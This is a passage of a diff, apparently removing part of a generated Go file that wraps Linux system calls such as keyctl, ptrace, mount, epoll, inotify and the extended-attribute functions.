--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlJoin(cmd int, arg2 string) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg2)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlSearch(cmd int, arg2 int, arg3 string, arg4 string, arg5 int) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg3)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(arg4)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlIOV(cmd int, arg2 int, payload []Iovec, arg5 int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(payload) > 0 {
-- _p0 = unsafe.Pointer(&payload[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(payload)), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlDH(cmd int, arg2 *KeyctlDHParams, buf []byte) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(arg2)), uintptr(_p0), uintptr(len(buf)), 0, 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func reboot(magic1 uint, magic2 uint, cmd int, arg string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_REBOOT, uintptr(magic1), uintptr(magic2), uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func mount(source string, target string, fstype string, flags uintptr, data *byte) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(source)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(fstype)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(flags), uintptr(unsafe.Pointer(data)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Acct(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_ACCT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func AddKey(keyType string, description string, payload []byte, ringid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(payload) > 0 {
-- _p2 = unsafe.Pointer(&payload[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_ADD_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(payload)), uintptr(ringid), 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Adjtimex(buf *Timex) (state int, err error) {
-- r0, _, e1 := Syscall(SYS_ADJTIMEX, uintptr(unsafe.Pointer(buf)), 0, 0)
-- state = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chdir(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chroot(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ClockGettime(clockid int32, time *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_CLOCK_GETTIME, uintptr(clockid), uintptr(unsafe.Pointer(time)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Close(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func CopyFileRange(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_COPY_FILE_RANGE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup(oldfd int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_DUP, uintptr(oldfd), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup3(oldfd int, newfd int, flags int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP3, uintptr(oldfd), uintptr(newfd), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate(size int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate1(flag int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE1, uintptr(flag), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCtl(epfd int, op int, fd int, event *EpollEvent) (err error) {
-- _, _, e1 := RawSyscall6(SYS_EPOLL_CTL, uintptr(epfd), uintptr(op), uintptr(fd), uintptr(unsafe.Pointer(event)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Eventfd(initval uint, flags int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_EVENTFD2, uintptr(initval), uintptr(flags), 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Exit(code int) {
-- Syscall(SYS_EXIT_GROUP, uintptr(code), 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-- _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(off>>32), uintptr(len), uintptr(len>>32))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchdir(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchmod(fd int, mode uint32) (err error) {
-- _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fdatasync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FDATASYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Flock(fd int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fsync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getdents(fd int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETDENTS64, uintptr(fd), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpgid(pid int) (pgid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0)
-- pgid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpid() (pid int) {
-- r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0)
-- pid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getppid() (ppid int) {
-- r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0)
-- ppid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpriority(which int, who int) (prio int, err error) {
-- r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0)
-- prio = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrandom(buf []byte, flags int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETRANDOM, uintptr(_p0), uintptr(len(buf)), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrusage(who int, rusage *Rusage) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getsid(pid int) (sid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0)
-- sid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Gettid() (tid int) {
-- r0, _, _ := RawSyscall(SYS_GETTID, 0, 0, 0)
-- tid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyAddWatch(fd int, pathname string, mask uint32) (watchdesc int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(pathname)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_INOTIFY_ADD_WATCH, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mask))
-- watchdesc = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyInit1(flags int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_INIT1, uintptr(flags), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyRmWatch(fd int, watchdesc uint32) (success int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_RM_WATCH, uintptr(fd), uintptr(watchdesc), 0)
-- success = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Kill(pid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_KILL, uintptr(pid), uintptr(sig), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Klogctl(typ int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_SYSLOG, uintptr(typ), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lgetxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_LGETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Listxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Llistxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LLISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lremovexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LREMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lsetxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_LSETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func PivotRoot(newroot string, putold string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(newroot)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(putold)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_PIVOT_ROOT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func prlimit(pid int, resource int, newlimit *Rlimit, old *Rlimit) (err error) {
-- _, _, e1 := RawSyscall6(SYS_PRLIMIT64, uintptr(pid), uintptr(resource), uintptr(unsafe.Pointer(newlimit)), uintptr(unsafe.Pointer(old)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Prctl(option int, arg2 uintptr, arg3 uintptr, arg4 uintptr, arg5 uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PRCTL, uintptr(option), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func read(fd int, p []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Removexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_REMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func RequestKey(keyType string, description string, callback string, destRingid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(callback)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_REQUEST_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(destRingid), 0, 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setdomainname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETDOMAINNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sethostname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETHOSTNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpgid(pid int, pgid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setsid() (pid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
-- pid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Settimeofday(tv *Timeval) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setns(fd int, nstype int) (err error) {
-- _, _, e1 := Syscall(SYS_SETNS, uintptr(fd), uintptr(nstype), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpriority(which int, who int, prio int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
